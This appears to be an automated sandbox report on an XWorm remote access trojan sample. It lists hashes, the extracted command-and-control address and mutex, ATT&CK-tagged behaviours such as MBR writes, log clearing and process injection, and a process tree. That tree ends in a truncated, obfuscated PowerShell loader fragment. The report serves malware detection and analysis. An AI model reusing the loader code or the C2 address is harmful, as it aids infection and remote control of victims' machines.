xworm | 59b912dd8b99eb28efe1f30d84082baa5d2e09188c5f97ef1e19a043b245228c

Analysis

max time kernel
19s
max time network
27s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250217-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250217-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
01/03/2025, 20:12

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General

Target

5.exe
Size

490KB
MD5

286b980a155209c4ef664687913b8113
SHA1

ae96bfe4b71d52ab46994c496d0c07ed2f28c5f3
SHA256

59b912dd8b99eb28efe1f30d84082baa5d2e09188c5f97ef1e19a043b245228c
SHA512

cae27348d906b5d4d7266492aae148e25d66124890d63fe03bafca86c83dbd362bc26a36d357fb07f4dbffa765e25c85aff9589c582812b43c106d05845bf611
SSDEEP

12288:Ozj3DTkV1ilKya0FOUuQ0gH+kmtbF6W05EJXp107sd:QkGTy

Score

10^/10

xworm bootkit defense_evasion discovery execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

3.1

again-stuff.gl.at.ply.gg:35361

Mutex

w1O93T06AbTXm6Hz

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000c000000027d99-6.dat	family_xworm
behavioral1/memory/4744-16-0x0000000000700000-0x000000000070E000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 1584 created 628	1584	powershell.EXE	5
PID 2480 created 628	2480	powershell.EXE	5

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983685854-559653692-675906587-1000\Control Panel\International\Geo\Nation	5.exe

Executes dropped EXE 4 IoCs

pid	Process
4744	DeadMmxq.exe
4648	DeadMmxq.exe
4352	DeadR.exe
4492	DeadR.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1584	powershell.EXE
2480	powershell.EXE

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\D:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1584 set thread context of 1708	1584	powershell.EXE	88
PID 2480 set thread context of 4716	2480	powershell.EXE	89

Drops file in Windows directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DeadR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DeadR.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "001800127D822502"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1584	powershell.EXE
2480	powershell.EXE
2480	powershell.EXE
1584	powershell.EXE
1584	powershell.EXE
2480	powershell.EXE
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
2072	wmiprvse.exe
2072	wmiprvse.exe
2072	wmiprvse.exe
2072	wmiprvse.exe
2072	wmiprvse.exe
2072	wmiprvse.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe
4716	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3696	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1584	powershell.EXE
Token: SeDebugPrivilege	2480	powershell.EXE
Token: SeDebugPrivilege	1584	powershell.EXE
Token: SeDebugPrivilege	2480	powershell.EXE
Token: SeDebugPrivilege	4716	dllhost.exe
Token: SeDebugPrivilege	4648	DeadMmxq.exe
Token: SeDebugPrivilege	4648	DeadMmxq.exe
Token: SeDebugPrivilege	4744	DeadMmxq.exe
Token: SeShutdownPrivilege	64	svchost.exe
Token: SeCreatePagefilePrivilege	64	svchost.exe
Token: SeShutdownPrivilege	64	svchost.exe
Token: SeCreatePagefilePrivilege	64	svchost.exe
Token: SeShutdownPrivilege	64	svchost.exe
Token: SeCreatePagefilePrivilege	64	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2204	svchost.exe
Token: SeIncreaseQuotaPrivilege	2204	svchost.exe
Token: SeSecurityPrivilege	2204	svchost.exe
Token: SeTakeOwnershipPrivilege	2204	svchost.exe
Token: SeLoadDriverPrivilege	2204	svchost.exe
Token: SeBackupPrivilege	2204	svchost.exe
Token: SeRestorePrivilege	2204	svchost.exe
Token: SeShutdownPrivilege	2204	svchost.exe
Token: SeSystemEnvironmentPrivilege	2204	svchost.exe
Token: SeManageVolumePrivilege	2204	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2204	svchost.exe
Token: SeIncreaseQuotaPrivilege	2204	svchost.exe
Token: SeSecurityPrivilege	2204	svchost.exe
Token: SeTakeOwnershipPrivilege	2204	svchost.exe
Token: SeLoadDriverPrivilege	2204	svchost.exe
Token: SeSystemtimePrivilege	2204	svchost.exe
Token: SeBackupPrivilege	2204	svchost.exe
Token: SeRestorePrivilege	2204	svchost.exe
Token: SeShutdownPrivilege	2204	svchost.exe
Token: SeSystemEnvironmentPrivilege	2204	svchost.exe
Token: SeUndockPrivilege	2204	svchost.exe
Token: SeManageVolumePrivilege	2204	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2204	svchost.exe
Token: SeIncreaseQuotaPrivilege	2204	svchost.exe
Token: SeSecurityPrivilege	2204	svchost.exe
Token: SeTakeOwnershipPrivilege	2204	svchost.exe
Token: SeLoadDriverPrivilege	2204	svchost.exe
Token: SeSystemtimePrivilege	2204	svchost.exe
Token: SeBackupPrivilege	2204	svchost.exe
Token: SeRestorePrivilege	2204	svchost.exe
Token: SeShutdownPrivilege	2204	svchost.exe
Token: SeSystemEnvironmentPrivilege	2204	svchost.exe
Token: SeUndockPrivilege	2204	svchost.exe
Token: SeManageVolumePrivilege	2204	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2204	svchost.exe
Token: SeIncreaseQuotaPrivilege	2204	svchost.exe
Token: SeSecurityPrivilege	2204	svchost.exe
Token: SeTakeOwnershipPrivilege	2204	svchost.exe
Token: SeLoadDriverPrivilege	2204	svchost.exe
Token: SeSystemtimePrivilege	2204	svchost.exe
Token: SeBackupPrivilege	2204	svchost.exe
Token: SeRestorePrivilege	2204	svchost.exe
Token: SeShutdownPrivilege	2204	svchost.exe
Token: SeSystemEnvironmentPrivilege	2204	svchost.exe
Token: SeUndockPrivilege	2204	svchost.exe
Token: SeManageVolumePrivilege	2204	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2204	svchost.exe
Token: SeIncreaseQuotaPrivilege	2204	svchost.exe
Token: SeSecurityPrivilege	2204	svchost.exe
Token: SeTakeOwnershipPrivilege	2204	svchost.exe

Suspicious use of FindShellTrayWindow 17 IoCs

pid	Process
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
3696	Explorer.EXE
3696	Explorer.EXE
3696	Explorer.EXE
4528	taskmgr.exe

Suspicious use of SendNotifyMessage 14 IoCs

pid	Process
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe
4528	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3176 wrote to memory of 4744	3176	5.exe	80
PID 3176 wrote to memory of 4744	3176	5.exe	80
PID 3176 wrote to memory of 4648	3176	5.exe	81
PID 3176 wrote to memory of 4648	3176	5.exe	81
PID 3176 wrote to memory of 4352	3176	5.exe	82
PID 3176 wrote to memory of 4352	3176	5.exe	82
PID 3176 wrote to memory of 4352	3176	5.exe	82
PID 3176 wrote to memory of 4492	3176	5.exe	83
PID 3176 wrote to memory of 4492	3176	5.exe	83
PID 3176 wrote to memory of 4492	3176	5.exe	83
PID 1584 wrote to memory of 1708	1584	powershell.EXE	88
PID 1584 wrote to memory of 1708	1584	powershell.EXE	88
PID 1584 wrote to memory of 1708	1584	powershell.EXE	88
PID 1584 wrote to memory of 1708	1584	powershell.EXE	88
PID 1584 wrote to memory of 1708	1584	powershell.EXE	88
PID 1584 wrote to memory of 1708	1584	powershell.EXE	88
PID 1584 wrote to memory of 1708	1584	powershell.EXE	88
PID 1584 wrote to memory of 1708	1584	powershell.EXE	88
PID 2480 wrote to memory of 4716	2480	powershell.EXE	89
PID 2480 wrote to memory of 4716	2480	powershell.EXE	89
PID 2480 wrote to memory of 4716	2480	powershell.EXE	89
PID 2480 wrote to memory of 4716	2480	powershell.EXE	89
PID 2480 wrote to memory of 4716	2480	powershell.EXE	89
PID 2480 wrote to memory of 4716	2480	powershell.EXE	89
PID 2480 wrote to memory of 4716	2480	powershell.EXE	89
PID 2480 wrote to memory of 4716	2480	powershell.EXE	89
PID 4716 wrote to memory of 628	4716	dllhost.exe	5
PID 4716 wrote to memory of 684	4716	dllhost.exe	7
PID 4716 wrote to memory of 984	4716	dllhost.exe	12
PID 4716 wrote to memory of 424	4716	dllhost.exe	13
PID 4716 wrote to memory of 732	4716	dllhost.exe	14
PID 4716 wrote to memory of 760	4716	dllhost.exe	15
PID 4716 wrote to memory of 672	4716	dllhost.exe	16
PID 4716 wrote to memory of 1072	4716	dllhost.exe	17
PID 4716 wrote to memory of 1124	4716	dllhost.exe	18
PID 4716 wrote to memory of 1176	4716	dllhost.exe	19
PID 4716 wrote to memory of 1228	4716	dllhost.exe	20
PID 4716 wrote to memory of 1268	4716	dllhost.exe	21
PID 4716 wrote to memory of 1436	4716	dllhost.exe	23
PID 4716 wrote to memory of 1484	4716	dllhost.exe	24
PID 4716 wrote to memory of 1512	4716	dllhost.exe	25
PID 4716 wrote to memory of 1540	4716	dllhost.exe	26
PID 4716 wrote to memory of 1564	4716	dllhost.exe	27
PID 4716 wrote to memory of 1632	4716	dllhost.exe	28
PID 4716 wrote to memory of 1724	4716	dllhost.exe	29
PID 4716 wrote to memory of 1796	4716	dllhost.exe	30
PID 4716 wrote to memory of 1804	4716	dllhost.exe	31
PID 4716 wrote to memory of 1928	4716	dllhost.exe	32
PID 4716 wrote to memory of 1220	4716	dllhost.exe	33
PID 4716 wrote to memory of 1360	4716	dllhost.exe	34
PID 4716 wrote to memory of 1384	4716	dllhost.exe	35
PID 4716 wrote to memory of 1792	4716	dllhost.exe	36
PID 4716 wrote to memory of 2108	4716	dllhost.exe	37
PID 4716 wrote to memory of 2204	4716	dllhost.exe	38
PID 4716 wrote to memory of 2296	4716	dllhost.exe	39
PID 4716 wrote to memory of 2364	4716	dllhost.exe	41
PID 4716 wrote to memory of 2412	4716	dllhost.exe	42
PID 4716 wrote to memory of 2596	4716	dllhost.exe	43
PID 4716 wrote to memory of 2604	4716	dllhost.exe	44
PID 4716 wrote to memory of 2716	4716	dllhost.exe	45
PID 4716 wrote to memory of 2800	4716	dllhost.exe	46
PID 4716 wrote to memory of 2828	4716	dllhost.exe	47
PID 4716 wrote to memory of 2852	4716	dllhost.exe	48
PID 4716 wrote to memory of 2864	4716	dllhost.exe	49

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:628
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1072
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{fddc277f-1f9e-49ef-923d-31c9b72b709c}
  2⤵
  PID:1708
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{bc626e0f-4b3b-4ac4-84f1-bc7229ddcac8}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4716

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:984

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1268
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:wFrZwJCzqqaH{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$CQteGayMoiIyHV,[Parameter(Position=1)][Type]$FdFPaInazx)$ItnxbINiOSb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+''+[Char](101)+'c'+[Char](116)+'ed'+[Char](68)+''+'e'+''+'l'+''+'e'+''+'g'+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+'y'+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'yD'+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+'a'+''+[Char](116)+'e'+[Char](84)+''+[Char](121)+'p'+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+'i'+[Char](99)+','+[Char](83)+'e'+[Char](97)+''+'l'+'e'+[Char](100)+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+''+'a'+'ss'+[Char](44)+''+[Char](65)+'u'+[Char](116)+''+[Char](111)+'C'+[Char](108)+''+[Char](97)+'s'+'s'+'',[MulticastDelegate]);$ItnxbINiOSb.DefineConstructor(''+[Char](82)+